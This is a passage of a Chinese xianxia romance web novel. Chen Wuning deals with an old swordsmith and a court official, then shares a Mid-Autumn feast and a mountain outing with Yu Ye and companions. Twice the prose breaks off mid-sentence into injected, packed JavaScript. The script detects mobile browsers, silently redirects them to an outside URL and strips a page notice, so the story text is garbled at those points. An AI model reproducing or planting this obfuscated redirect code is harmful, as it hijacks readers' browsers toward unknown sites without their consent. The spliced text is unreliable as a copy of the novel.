老人转过身,他走路速度非常快,和他那白头发和白胡子极其不搭,但说话又慢得出奇,嗓子里仿佛含着一把铁沙,简洁明了地说:“把剑拿来。” 陈无宁取下无阻,递了过去。 老人抽开剑,只见剑身通体雪亮,手摸上去极度冰冷,简直能把人从烈火里拖进冰原。 老人认真地端详片刻,问道:“你这剑是从哪儿得来的?” 陈无宁一肚子心眼,管他是不是老弱病残,照骗不误:“小生自幼喜欢习武,家人找来的,具体出处不知。” 听完这番鬼话,老人的眼里射出精光,语气不复方才的友善,劈头盖脸地拆穿他:“此剑是大能神器,寻常百姓家能随便找来?给你的那位没讲过?” 这老头一把年纪了还活得这样精明,陈无宁的本意只是磨个锈,此刻却想转身就跑,可又觉得不对,难道他认得无阻? 陈无宁冷静下来,恭敬地问:“请问大师是?” 老人不耐烦地“哼”了一声:“小免崽子,我看你年纪不大,不好好待在师门,用功修炼,跑来安城作甚?” 陈无宁心里一紧,意识到再耍小聪明恐怕走不出这扇门,只能好声好气地作答:“晚辈无意隐瞒来历,多有得罪。下山是遵了家师之命,出门云游,想来安城贵地大家云集,此番前来,只为修复剑鞘。” 听完他的话,老了继续询问:“你师从何门?” 陈无宁不卑不亢道:“晚辈答应过师父,对外不报师门,还请前辈见谅。” 他一脸肃然,老人似乎也不好逼迫太过,冷声道:“这剑稀奇得很,若单纯去锈倒是小事,但剑本身有神识,老朽上了年纪,眼神不好,要是触动了什么,放出里面不该放的东西,怕是会遭殃,帮不了你。” 陈无宁心里有了数,正打算告辞,不料老人追问道:“小子,你既是修士,可知现在五大门派如何了?” 陈无宁如实回答:“晚辈入道没几年,家师闲云野鹤,并不关心大仙门的事。” 老人见问不出什么了,摆了摆手,示意他可以滚了。 陈无宁滚到兵器室门口,就听得背后传来几句跑了调的小曲:“远山暮霭隔云雾,狂风过处人黄昏——” 陈无宁揉了一把遭殃的耳朵,牵着乌雪泥离开。 天光下沉,回到鲸山小院,才走到弧形门洞,他就见里头的两人打得天昏地暗。 庄笙被郁夜追得上蹿下跳,他一边躲闪,一边骂娘,一边从乾坤袖里掏出各种法器,其中以符咒居多,基本都是长辈给不懂事的小辈准备的防身咒,很初级。 庄笙不要钱似的天女散花,大概都看不懂这些法器如何使用,只见一会儿刮起狂风,吹得追在后边的郁夜衣摆飘扬,长发糊了一脸。一会儿又化出一只傀儡小人,这傀儡好像只会一招旋风腿,在天上地下追着郁夜打着圈地扫。 两人也不知打了多久,郁夜被这些千姿百态的小花招烦得不行,停了手扶膝直喘,庄笙趁此间隙,中气十足地大骂:“郁夜,你这王八羔子吃错药了吗?本爷爷招你惹你了!” 郁夜得了片刻喘息,找回精神头,二话不说,就要追上去撕烂庄苼的嘴,看那气势恨不把他打成一个智障,院子里响起庄笙惊天动地的呼救声! 乌雪泥没有亲眼见过打架斗殴的大场面,呆若木鸡。 在旁观战的飞絮生怕自家少爷有任何闪失,急得眼泪都快下来了。 一见此番情景,陈无宁长叹一声,感觉这段时间要把这辈子的气都叹光了。 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两人还没吵完,外头却响起了敲门声,整个小院只有飞絮懂礼貌,会敲门,其他人有事都是直闯进来。陈无宁打开房门,一眼扫去,看见包先生带着一名青年男子候于小院中央。 陈无宁认出了这人是谁,不料青年早一步开口:“短短一日,竟与小公子有两面之缘。” 包先生一头雾水地左看右看,询问道:“贺大人,陈小公子,你们已经认识了?” 被称贺大人的青年说:“下午在东门见过这位小公子,只是当时有事在身,还没来得及结识。” 贺大人未着官服,而是一身素色便衣,言谈自然,丝毫没有官场架子,显得涵养极佳,一看就是饱学之士。 陈无宁对他印象不错,抬手关上房门,邀请道:“贺大人,包先生,请坐。” 几人在石桌旁落座,包先生作为中间人,先介绍了两位的名讳,接着说道:“陈小公子,这便是上回我给你说的那位朋友,贺暮云贺大人。” 贺暮云说话并无一般书生式的繁文缛节,开门见山道:“听包先生讲,你们一行学子上京赴考,想了解朝廷的部门设置,不知小公子有何疑问,贺某愿闻其详。” 见他不绕弯子,陈无宁也很直接:“上回包先生送来了科考文书,小生有一事不解。” 贺暮云:“请讲。” 陈无宁:“我曾在书上看过,朝廷分为三省六部,“中书、尚书、门下”三省并立,“吏、户、礼、兵、刑、工”为六部。” 贺暮云点点头:“不错。” 陈无宁:“可这回科举似乎要提前调查考生的身世?按理说,这个程序本应在科考后,由礼部对中榜学子进行考察,这回不仅提前了,而且落款为“长风院”。小生故乡偏远,资讯不通,不大明白长风院是什么机构,怎会参于到科举中来?” 闻言,贺暮云心里咯噔一下,调查文书是经他手下达的,最后也由他归拢呈上,几乎所有学子的交待文书已经到位,还没有人想过这个问题。 他默了片刻,随即道:“贺某便在长风院任文书总管一职。长风院隶属礼部,是其下一个分支,职责即是配合三省六部做些杂事,早在开朝先祖时期便已设下,台面小,声望不高,一直没能入诸位大才的眼。” 陈无宁:“贺大人即是大才。” 贺暮云:“小公子客气。” 一来一回间,谈话氛围轻松起来,贺暮云对陈无宁心生怜才之心,想起自己还未解答的疑问,如实讲道:“实如贺某所言,长风院确是为朝廷琐事打下手的部门,但有一点好处,长风院明面上属礼部管理,实际却是直归皇上统治,这回提前做学子的身世调查,便是想筛选合适的人才入院。” “一甲进士自然得进三省六部,任重要官职,二甲三甲上榜者,长风院则有权优先挑选,收归已用。” 陈无宁心下了然,拱手致礼:“小生明白了,多谢大人解惑。” 贺暮云回了一礼:“贺某预祝小公子取得一甲,若生变故,看长风院这小门户能否入得了公子慧眼。” 陈无宁心里生出了一丝惭愧,他毕竟不是考生,这样欺骗他人着实过意不去,只得自贬一番:“小生无才无德,怕是要辜负大人厚爱。” 天色已晚,贺暮云还有事,便起身告辞。 刚走到门口,乌雪泥从房里跑了出来,她欢快地奔向陈无宁,脆生生的童音在小院响起:“师兄师兄,你忙完了吗?飞絮姐姐说明天中午做虎头丸子,还缺小葱,我们明天早上去买吧。” 贺暮云转过身,瞧着眼前活泼漂亮的小姑娘,瞬间傻了眼。 14. 下山9 贺暮云忆起第一次见到她的时候,她也是这般可爱,一蹦一跳地上前,揪住自己的衣袖,瞪着一双漂亮的眼睛问:“公子,这条路通往哪里呀?” 贺暮云的一只脚已经踏出拱门,此时的样子莫名傻气,在官场历练出的人情往来让他堪堪收回思绪,冲着不远处的小姑娘一笑,转身走了。 他满怀心事地回到贺府,问家仆找来酒喝。 贺暮云平日只饮清茶,极少喝酒,可今日那小姑娘的脸,不知怎的勾起了他心里尘封的往事,酸软上涌,不得自在,实在难以入眠。 他找了她七年了。 以他之才,本在三省六部有大好官程,为找她费尽心机,将自己调进了长风院,只做了一个打杂的文书总管。 并非无人惜才,翰林院的掌院大人曾想把大千金许配给他,明示暗示保他进内阁,可心上人无处可寻,他的心如一汪死水,再难情动。 烈酒入喉,醉花了眼。 那时的贺暮云很慌张,脸都憋红了,直到后来,才在心里默默回答:“这条路通往我的心。” 鲸山小院。 郁夜听完一耳朵闲事,没觉得有趣。他脾气来得快去得也快,尤其见着陈无宁,总觉得惹不起这人,连少爷脾性都会不自觉地收敛三分。 他从昨天就开始盘算搬走这事,反正他有的是钱,哪里不能落脚。 可一想起要远离陈无宁,心像是被剜了一块似的,光想了个开头就难受得作罢。 夜色深沉,两人躺在床上,人为的隔出了一条楚河汉界。 陈无宁也不知怎么了,离他十丈远,恨不得睡进墙壁里,郁夜靠边躺得半个身体都快掉下去了,床中间留出的距离再塞两个人都不成问题。 两人各怀心事,都失眠了,郁夜默默地为自己辩解,一定是在家的时候没有朋友,所以一不小心遇见一个,产生了一些别样的情绪,可以理解。 他还没复健完,黑暗中传来陈无宁轻轻的声音:“你要不走吧,待在我身边也没什么意思。当然,如果你喜欢这个院子,我走也可以。” 这话如同当头棒喝,敲得郁夜的心肝绞着痛,下意识地接话:“我不走,你也不准走。” “谁都各有各的路,”陈无宁的声音听不出情绪,“总有一天会分开的。” 他说得对,郁夜却感觉五内俱焚,眼前突然闪出两人分别时的场景,痛得他完全没了理智,也不装怪了,一个翻身,有点想抱抱陈无宁。 可手终究没搭上去。 郁夜沉默了一会儿,问道:“你还会停留多久?” 陈无宁:“大概八九个月。” 郁夜心算自己离开的时间也差不多,他压抑着难受,因此语气显得有些冷淡:“那我们不闹了,好不好。” 陈无宁翻了过来,面对郁夜。 屋里并非全黑,中秋时分,月儿高高挂在云端,一瀑莹白透进床铺的轻纱间,他看见郁夜的眼里含着泪花,闪着光。 陈无宁突然觉得释怀了,带着些氤氲的笑意数落他:“明明就是你在闹。” 郁夜不好意思地摸摸鼻子,算是领了这句埋汰。 次日早晨,庄笙连饭都不敢出来吃,飞絮三请五请,才把他从房里叫出来。他觑着郁夜这疯子的脸色,没看出要活剐了他的意思,于是讪讪地坐到桌边。 郁夜再不作妖了,和气宣布:“明天是中秋,我请大家吃饭。飞絮,你今儿个跑趟腿,打听一下哪家饭菜有名,订上一桌。” 飞絮领命称是,庄笙心里奇道:怎的一觉醒来,旁边换人了?! 乌雪泥高兴得手舞足蹈,还不忘再讨个好:“师兄,明天过节,这几天的早课就免了嘛。” 她想得太美,得到了一语毙之:“小师妹,你就做梦吧!” 乌雪泥默默地破口大骂。 吃完早饭,各干各的。 乌雪泥顶着一副苦大仇深的脸背书,那模样恨不能一头撞死在书里。下山几个月了,她还没新学会几个字,陈无宁总算能理解师父教书育人的癫狂,自觉已经尽了力,觉得师父很有远见,这无用的小师妹恐怕将来只能靠一身皮囊过活了,还是在不长残的情况下。 庄笙出门寻机缘去了,他的房间被鸡零狗碎塞了个满当,却也没讨得宿林一句好话。他也不气馁,想来这些俗世玩意儿入不了哥哥的眼,想着再找些宝贝。 宿林平日要么在街边喝茶,要么不见踪影,没人知道他在忙活什么,大家都习以为常。 陈无宁照常练剑,他的身姿越发利落,剑风过处,蓝雾树叶飘洒,卷着细微清香,洒了满身。 在旁观看的郁夜心有所动,抬脚出了门。 中秋家宴,本是至亲好友团聚时分,诉一诉闲话家常,品一品红尘浮生。 他们这一行,有被师父赶出门流浪的,有离家出走的叛逆少爷,有连自己是什么品种都不知道的,也有纯粹的败家子神经病,天南海北凑了一桌。 郁夜在钱财方面十分大方,于南门雀生楼设晚宴,乌雪泥这乡下丫头没见过世面,跟着陈无宁朝二楼包厢跑去,一边跑一边欢呼。 上上下下的客人衣着皆不俗,都拿捏着气度,不是富商就是大臣。 六人于“仙字号”包厢落座,流水似的菜肴端了上来,小二在旁舌灿莲花地报菜名:“单笼黄金酥、天胜奴、醉贵妃、婆罗松稀、见风沉、汉宫玉面、酒酿鱼、八仙过海、钗头春、锦绣丸……” 花样多得别说乌雪泥了,就是陈无宁也只认识那碗面和那条鱼。 郁夜作为东道主,人模狗样地摆谱道:“跟大家认识也有段时间了,茫茫九洲相遇,颇有缘分,值此中秋团圆之际,本人借一桌薄宴,聊表心意……” 他平时哪会这般客气,装得也忒过了,众人吃他嘴短,只好端着坐,任他虚与委蛇地发表长篇大论。 幸好还有乌雪泥这个小家伙,她盯着满桌子的菜直吞口水,哪还想听这些莫名其妙的车轱辘话,幽怨地说:“郁哥哥,我都快不认识你啦!” 郁夜十分享受众人的注目礼,正讲到兴致之处,意犹未尽,被个小丫头扫了面子,又不好发作,只得干咳了几声:“呃,开吃。” 庄笙隔空给乌雪泥竖起大姆指:“小鬼,哥明天带你买糖吃。” 中秋夜宴一派祥和,你来我往间,大家暂时放下了各自的小龃龉,插科打诨好不热闹。 庄笙起了兴头,嚷着要喝酒。 陈无宁想起人生中第一次喝酒的情景,师父吝啬,只给他倒了个浅杯底,这时回忆起来,口中竟生出些馋意,于是附和道:“喝点吧!” 郁夜瞄了陈无宁一眼,想这人表面是个极度自律的少年,没想到私底下还会喝酒? 他倒要看看! 飞絮打开包厢门,问小二要来酒水。乌雪泥也很好奇酒到底是个什么滋味,能让师兄都牵肠挂肚的。她的小手偷摸伸来,陈无宁眼尖,一声喝住,嘱咐飞絮看着些她,小孩子喝点奶就行了。 陈无宁端起酒杯,凑近鼻尖,闻了闻酒香,流淌着一股子花蜜味。 他心里也没个数,只觉得香味诱人,便一饮而尽。 庄笙见他如此豪迈,跟着喝了起来,给宿林也递去一杯,想他尝尝这红尘热烈。宿林恐怕也被这时的氛围带歪了,竟然没有拒绝。 郁夜从未饮过酒,他自小被家里看得严,哪来的酒喝,下山后没人提,便没起过这个念头。此刻见大家、甚至连宿林都在喝酒,也忍不住尝了几口。 几壶酒下肚,一桌子的人醉意上头,东倒西歪,坐没坐相,口齿不清地糊言乱语,大着舌头谈天论地,恐怕都没听清对方说的是什么。 飞絮不禁扶额,想着该拿这些醉鬼怎么办?她可弄不回去。好在宿林喝得不多,还剩一丝清明在,他用这点清明从指尖逼出酒气,整个人攸地清醒过来。 庄笙趴在桌上,已经合了眼,嘴里还在嘟囔,一声声地唤哥哥。 陈无宁低着头,不知在想什么,看那样子,或许只是发呆。 郁夜直愣愣地盯着陈无宁,像是要看进他的心底。 宿林与飞絮商量了几句,飞絮牵着乌雪泥下楼,订好马车,宿林则负责把一个个醉鬼弄上去。 折腾到后半夜,大家终于回了鲸山小院。 陈无宁倒在床上,不醒人事。 郁夜似乎天生酒量还不错,颠簸一路,竟找回了一些神智。他偷摸地从袖口翻出一支男子样式的玉簪,那玉簪通体阳绿,一看就价值不菲,簪头还刻着一朵小花。 他也不管陈无宁是否睡着,使劲摇了摇,陈无宁的好梦被打扰,从一片混沌中缓缓地睁开眼,带着些许傻气。 郁夜:“你醒了?” 陈无宁似乎没听懂,摇了摇头,过了一会儿,又慢慢点头。 郁夜将玉簪揣进他手里,陈无宁低头瞧了瞧,眼神涣散,不明所以。 郁夜跟个大尾巴狼似的说:“这是送你的。” 陈无宁还是没听懂,又过了一会儿,脸上才挂出一个浅浅的笑。 郁夜看着他晕染开来的笑容,心里生出了一丝甜蜜,嗔道:“瞧给你美的。” 虽说趁人醉酒行不轨实非君子所为,可这黑灯瞎火的,反正谁也看不见。郁夜侧过身,美滋滋地把手搭在了陈无宁腰上,非要搂着他睡一晚,甚至连明天被揍的借口都想好了:醉了,不知道,不清楚,不明白。 好在第二天他自己先醒,暗搓搓地收回这只放肆的爪子,将自己打扮得风流倜傥,去院里等投食去了。 陈无宁这一觉睡得有些晚,醒来后发现手里拽着根发簪,他努力回想片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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庄笙和郁夜两人,虽然性格作风南辕北辙,说白了都是一言难尽的败家子,但在陈无宁面前,他两个就是嚣张不起来,总觉得要是逆了陈无宁的意,定然没有好果子吃。 大约纨绔都怕油盐不进的执拗,庄笙嘀咕着骂了什么,手上却老实地换了一张纸,重新再写。 郁夜迟迟不动笔也是这个原因。 他哪来什么祖父曾祖,压根就没听说过,他爹睁开眼睛就走上修道之路,一生从未踏入凡尘,连乱编都不知道怎么起头。 陈无宁一眼就看出他在磨蹭什么,解决完庄笙的问题,又来集中对付郁少爷。 他想了想:“你家那边盛产什么?” 郁夜:“花木?香料?玉器?反正就这些。” 陈无宁:“那写从祖上经营玉器。” 郁夜乖巧地“哦”了一声,总算有了头绪,开始胡编乱造。 陈无宁偏头瞧了一眼,见郁夜的字迹潇洒恣意,相当有大师风范,一看就是从小磨出来的功夫。 宿林就更难了,他都不知道自己是谁,哪里去编出个三代? 他听了陈无宁对郁夜的指导,若有所思了一会儿,下笔从简:“曾祖务农,祖父务农,父亲务农。” 这身世看得人眼泪花都下来了,寒门学子的辛酸一语道尽。 庄笙盯着宿林落笔,虽然知道这是编的,但就是忍不住地心疼起来:“哥,我家很有钱的,绝不会让你吃一点苦头。你要什么我就给你买什么,好不好呀?” 郁夜真看不惯庄笙的臭德行,甚至觉得那天揍得轻了,头也不抬地拆穿道:“神经,你看他像缺什么的吗?身上一件衣服,恐怕就能买下一个雀生楼。” 宿林一向着浅色麻衣,清淡得很,大家还真的没看出他身上的衣服这么值钱,整齐地打量起来。 宿林淡淡地说:“我入凡尘后,有回顺手救了一个小精怪,恰巧是一只雪蚕,她便织了几件衣服送与我。行走人间穿不得这么好的料子,便在上面附了道化形。” 他一挥手,身上暗哑的麻布料子瞬间变得水光荡漾,仿若生华。 看着眼前的大变衣裳,庄苼完全不觉得有压力,管它一件衣服值几个楼,他也养活得起! 果不其然,包先生午后便登了门,见他们已经备好文书,松了口气,对陈无宁道:“贺大人说,他同小公子一见如故,让在下转告,他这段时间忙于科举的事,待放榜后,寻时间与小公子再聚,还望赏光。” 陈无宁礼貌应下。 明天就是科举日了,他们肯定不能在小院待了,要是包先生闲得无事,来这边转悠,他这一行不应该在考场上么?岂非明白露了馅。 “得出去避上几日。” 傍晚时分,陈无宁宣布了他的决定,并将其中原由告知大家。 宿林接话:“我知道一个去处。” 15. 下山10 科举当日,六人天不亮就吃了早饭,鬼鬼祟祟出发了。 宿林说翻过鲸山,另一侧有个瑶池。瑶池风景绝美,但因其在鲸山背后,人迹罕至。此行三天,去不得太远,又要避人耳目,这便是个好去处。 众人抱着秋游的心情来到鲸山脚下,顿时软了腿。平时远看不觉得,近看才知鲸山之高大,山腰处浮云蔼蔼,顶峰披雪。 中秋之后便算真正入秋了,树叶正肉眼可见的泛黄,似没力气挂在枝头,一阵细风拂过,纷纷飘落。 庄笙仰着脖颈感叹:“海神老爷哎,三天时间别说翻过去,就是爬到山顶,也估摸着差不多了。” 他看了看和自己有同样烦恼的乌雪泥,点评道:“这还拖着个小鬼,我看这计划铁定泡汤。” 郁夜用看废物的眼神斜睨这聒燥之人。 宿林常年与高山野兽打交道,自是没想到这个问题,默了片刻,他招来一只扁毛麻雀,低声说了什么。只见这只麻雀在他掌上开心得直打转,鸣叫几声,兴高采烈飞走了。 不一会儿,几只神兽便出现在众人跟前。有山鹿,野猪,一只三首六尾、叫不上名字的大鸟。 带信的麻雀原路返回,飞到宿林肩上,叽叽喳喳半天,宿林对它道:“嗯,你去吧。” 看大家一脸迷茫,宿林解释道:“小鸟说,马上过冬了,伙伴们都忙着囤积食物,就它们还有些闲,来送我们一程。” 众人立马会意,抢夺起代步工具来。 郁夜和庄苼同时看上了那只体形诡异的大鸟,由于庄笙站的位置有优势,他一个招呼不打,奔上前揪着鸟毛,就要跨坐上去,大鸟对此十分不满,三只嘴同时发出愤怒的啼鸣,长尾轻飘飘一甩,将此人扫得在地上滚了好几个圈。 飞絮牵着乌雪泥走到山鹿跟前,眨巴着眼打量它。乌雪泥虽然年纪小,却十分懂得审时度势,眼见庄笙哥差禽没落个好下场,于是试探性地朝山鹿伸出手,见它不拒绝,又轻轻摸了摸鹿角,软软哄道:“小鹿,你好可爱呀。” 山鹿被夸得很舒服,四肢落地,示意允准你了。乌雪泥十分开心,飞絮便抱着她坐了上去。 郁夜这般人物断断不可能骑野猪的,加之亲眼见到滚得满身树叶的庄笙,心知这大鸟不好惹,想要骑它,还得花些功夫。 他看向宿林,问:“它叫什么?” 宿林:“鵸鵌。” 郁夜了然,走近鵸鵌,也不知他随身携了多少稀奇古怪的玩意儿,只见他从乾坤袋里摸出一根雪白丝带,亲自踮脚,绑在三个鸟头中间的那只脖子上,还系了个十分优雅的蝴蝶结,风雅地道:“小小薄礼,还望鵸鵌兄别嫌弃,来年春天有了此物,其它同类绝不是对手。” 鵸鵌兄笑纳。 庄笙愤愤直骂:“偷奸耍滑的奸佞小人,什么东西!” 他一边骂着,一边心不甘情不愿地走向野猪,板着脸讨好道:“你是世上最美的野猪。” 野猪被冷落许久,只得无奈接受了这句违心的夸赞,鼻子嗡嗡出着气。 庄笙骑上最美野猪后连个缓冲的余地都没有,连人带猪从众人的眼前一闪而过。他担心自己被甩下去,只好狠狠逮住猪毛,可能把野猪扯痛了,野猪嗡嗡直叫,配合着庄苼的惊叫,两道声音犹如魔音穿脑,简直不堪入耳。 周边景色在极快的速度中变得虚浮,庄苼被疯狂的野猪甩得头重脚轻,已不知今夕何夕。 “......”陈无宁目送走他和野猪的背影。 郁夜想和陈无宁一起骑大鸟,又不好表现得太明显,只好矜持地朝他招招手,不料陈无宁当他是空气,取下无阻御剑上行。 宿林更简单了,踩着一截树枝直飞上天,没人看清他是怎么没的。 这是陈无宁头回在安城光明正大地御剑,随着他的修炼愈发精进,御剑不再像当初那般生涩摇晃,因此心情相当不错。 漫山风景美不胜收,他心念一动,无阻便随他心意行至想看的地方。 脚下的漫漫山林还没看够,一人一鸟就飞到了旁边,只见郁夜迅速伸出一只手,扯住陈无宁的胳膊用力一提,便将他连人带剑挪到了大鸟上! 突如其来的惊吓让陈无宁着实体会了一把悬空的滋味,心都快坠到小腹了,正要发火,郁夜的双手却环了上来,连下巴都顺势搁在他的肩上,在他耳边咬牙切齿:“为何不同我一起飞?” 这姿势过于亲密了,陈无宁微觉不适,斥道:“你坐好些,手拿开!” “不拿。”陈无宁被飞絮的小厨房养得不错,没像当初那般瘦得随风倒,抱在怀里很舒适。郁夜听他这样讲,愈发觉得委屈,才珍藏一天的小秘密没过脑子便说了出来,“前晚我还抱着你睡了一夜呢。” 陈无宁:“……” 郁夜得寸进尺,不等挨骂便又道:“反正亲都亲过了,抱一下又怎样?” …自作孽不可活,大概就是这样罢。 幸好鵸鵌兄翅膀够大,没一会儿功夫,两人落在了瑶池边。 宿林第一个到的,他似乎对山川鸟兽有特别的情结,独自站着,不知在想什么。 瑶池是一片湖,不大不小,连着鲸山背后一处直上直下的悬崖,悬崖顶上的雪水在阳光下融成流水,从高处下落,造就出一番九天银河之景。 湖边开满了五彩格桑,花期已近尾声,它们拼着命地热烈簇拥,和着瑶池的清浅碧柔,当真人间绝景。 先到的几人沉浸在这美轮美奂的小天地中,被一阵惨绝人寰的“啊——”打碎了感叹。 只见庄笙被风驰电掣的野猪甩得七晕八素,发带早不见了,一头散乱的发抽在脸上,状似野鬼。 野猪在瑶池边上来了个急刹,只片刻功夫,庄笙再度被甩了下去。野猪不屑地哼哼几声,迈着小碎步走到宿林身边,亲昵地蹭了几下他的衣角,傲娇离去。 庄笙从地下爬起,翻脸不认猪:“呸,丑东西!” 宿林无语地摇摇头,凭空变出一根树藤递给庄笙,示意他扎好头发再骂。惊喜来得突然,庄笙立马变了脸,笑得贱兮兮的:“还是哥哥最好了。” 不一会儿,飞絮与乌雪泥骑的山鹿也到了,乌雪泥落地,抱着鹿头大方亲了一口,山鹿很受用,愉悦地甩甩蹄子,往深山老林里钻去。 一番折腾下来,日头爬上中天。飞絮从包袱里拿出糕点分给大家。吃过简单的午饭,众人在花与阳光下懒懒打旽儿。 春困秋乏,气候适宜,不知不觉睡到了申时。 郁夜其实不常睡午觉,醒在青天白日里,睁眼的刹那,总会觉得心里落了空,孤独像潮水一样包裹过来。他揉着惺忪的眼皮,视线散乱,一边适应着这种落寞,一边寻找着什么。 要在这里度过三日,陈无宁只好担起大家长的角色,给众人安排活计。 庄笙自告奋勇,说要下湖捉鱼。 宿林对山林最熟悉,去摘野果野菜。 陈无宁冷心冷情,带着乌雪泥,去捉一些没有灵智的小动物当晚饭。 飞絮将带来的行李收拾妥当,拾了些木枝柴火,还支出了一个小帐蓬。 郁夜被伺候惯了,在一旁干站着看大家忙活,毫无心理负担。 做好各自的事回来时,太阳正西沉,当最后一丝云霞被夜色淹没,风吹过境,瑶池荡出涟漪,竟有些阴冷。 生好火堆,借着月色与火光,飞絮正在处理带回来的食物。她一人忙不过来,陈无宁主动上去分担些活儿。 无阻是把好剑,不仅能上阵杀敌,还能杀鸡剐鱼。只见陈无宁手起剑落,那只可怜的山鸡便一命呜呼了。 郁夜坐等晚饭,本来心安理得,见陈无宁杀鸡杀得一脸肃然,不禁生出几分肝颤,对他又惧上三分,深深觉得平时他对自己还挺容忍的。 六人围坐,肉香与菌香溢出,山鸡滋滋往下淌着油,落在火堆里,溅起几颗微末火星儿。 此时山野宁静,风过无痕。陈无宁扯了一块鸡腿递给乌雪泥,随后问起宿林:“这边晚上会不会有野兽出没?” 宿林:“我在此,不会。” 庄笙吃得不亦乐乎,插话道:“哥,你为何能同禽兽说话?” 宿林纠正他:“...是小动物。” 庄苼:“那只凶鸟长得那样大,哪里小了?” “......不知。”见纠正不了,宿林只得作罢,长时间相处下来,他的耐心好上了些,答道,“有一回,我照常在山林夜寐,半夜突然惊醒了,发现身边围着一群狼。” 庄苼急道:“啊,它们伤你了么!” “我当时也很害怕。”宿林顿了顿,“不过它们似乎没打算吃我,头狼一直盯着我,我大着胆子朝它招了招手,它看懂了,朝我走来,又乖巧地伏在地上,我问它,你到这里做什么?” “头狼嚎了几声,我竟然听懂了它的话。从那以后,我便能与动物交流了。” 庄笙没管嘴角流下的鸡油,含糊地问:“头狼说了什么?” 宿林:“它说,神,你为何在这里?” 众人惊掉了下巴。 庄笙眼睛发亮,兴奋追问:“后来呢后来呢?” 宿林:“我问它叫我什么?头狼说神。我再问它我是什么神?头狼摇了摇头。” 陈无宁思考了一会儿:“这世上真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14639412|156348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有神么?” 宿林摇了摇头:“多半不存在。我醒来便是现在的模样,早年在人间过了一段时间,至今也不知道自已从何而来。若真是神降临人间,大约不会是这样的。” 众人都不作声了。 乌雪泥愣愣接话:“宿林哥,我同你一样呢!也不知道自己打哪儿来的。听师父说,我还不足月的时候就被他捡了回去,你不知道自己是谁,我也不知道我是谁,但我总不会从石头缝里蹦出来的吧,总该有爹娘吧,也不知道他们在哪,活着还是死了。” “如果有天我能见到他们,想问问为什么生了我,又要扔了我。” 宿林摸摸她的头:“你生得如此可爱,你的父母想必是有不得已的原因。” 乌雪泥毕竟还小,烦恼忧愁于她如过眼烟云,眨眼就忘:“管他呢,我有师父,还有师兄,哥哥们也都好,要是师兄能别逼我读书就再好不过了!” 闻听此言,陈无宁骂道:“不学无术!” 气氛一扫方才的诡谲与沉重,几个来自天南地北的少年,不论因为什么原因走到了一起,也在光阴的流逝里学着卸下防备。 他们并非凡尘中人,各自互有隐瞒,能聊出来的大概只有冰山一角,但此时此刻,虽无美酒相伴,也与夜色共醉。 也许明日醒来,炸呼的还炸呼,冰冷的仍旧冰冷,但并不妨碍在繁星与明月的见证下,他们称得上一句朋友。 转眼几近子时,乌雪泥睡着了,飞絮轻轻抱着她进了小帐篷。他们走得匆忙,一应野外用品没来得及准备,只用薄毯与树枝搭了这么一个帐篷,容不下多余的人。 喧闹之后归于沉寂,夜里有风,又挨着湖,空气愈发湿冷。寒鸦的啼叫声划破夜空,带来一丝鬼怪画本的渗人感。 庄笙嘴上倔着不说,但到底有些害怕,不愿意离宿林太远,一路跟着他找地方过夜。 陈无宁躺在湖边的一颗树下,这荒郊野外的,他顾及小师妹的安危,这里既挨着账蓬不远,又有树荫遮雨,很是不错。 郁夜在瑶池洗漱好,湖水澄澈,也很冰凉。他容不下自己邋里邋遢就睡,又一贯怕冷,此刻冷得直哆嗦,习惯成自然地挪步往陈无宁身边走去。 他顺势躺在旁边,牙齿轻轻打着颤。陈无宁闭目不语,一动不动,郁夜以为他睡着了,搓了搓手想找回一些温度,正打算闭眼睡觉,旁边传来一句低低的问话:“你很冷吗?” 郁夜:“嗯。” 陈无宁闭眼道:“生个火堆吧。” 这暗戳戳的关心让郁夜心花怒放了,他睡意消减,觉得没白疼这人。他侧身支起脑袋,看着陈无宁在夜色里雪白而平静的脸,忽然回味起那天温柔的触感,一时间头脑发热。 “不要了,火光晃眼,怕你睡不好。”郁夜心不在焉地回应着,用目光一遍遍描摹陈无宁标致的眼型,利落的鼻梁,和那不与人道的柔软的唇…… 无法言说的绮念撒满星河遍野,他索性破罐破摔,人就在眼前,大胆看不就好了,这样狎昵,倒充斥着一股说不出的猥琐气。 他心猿意马的问:“你的生辰是何时?” 陈无宁不答,不知是睡着了,还是纯粹冷落他。 郁夜在月光下盯着他合眸的睡颜,自言自语道:“不说就算了,你应该比我小,要不叫声哥哥来听听?我有个亲哥,他比我大上几岁,父亲总夸我哥性子沉稳,斥责我过于跳脱。可父亲说归说,却舍不得打我,不论我犯了多大的错。” “不过这次离家出走,估计老头的鼻子都气歪了,可能我回家的时候会挨顿揍。不过也没关系啦,我哥肯定护着我。” “喂,你要是叫我一声哥,以后我保护你好不好?” 他不知又想起什么,叹道:“你这个人,不知怎么说才好。该上心的不上心,不该上心的又上赶着忙活。还总是把自己搞得这样麻烦,又不是已经活了千八百年,不肯停下来看看浮世烟云。” “不过可别把我当作那随风而散的烟云,我要你记着我。” 说到此处,郁夜忽的一顿,阴冷的风猛然大了,吹得他全身发凉。他在这星垂平野下,似给陈无宁,又似给自己,许下了一个小小的承诺。 他小声地,却不容置疑地说:“别忘记我。” 他就这样喋喋不休地说着,无边冷寂的银河是他最虔诚的聆听者。仿佛已经睡着的陈无宁轻轻翻了个身,落入了他的怀里。清浅的呼吸在他心口处盘旋,带来一丝不易察觉的温热。 郁夜体凉,陈无宁就像雪天的一把炭火,烤得他温暖又舒服。 他脸上挂出个甜甜的笑,抱着怀里的人,心满意足的闭了嘴。 16. 下山11 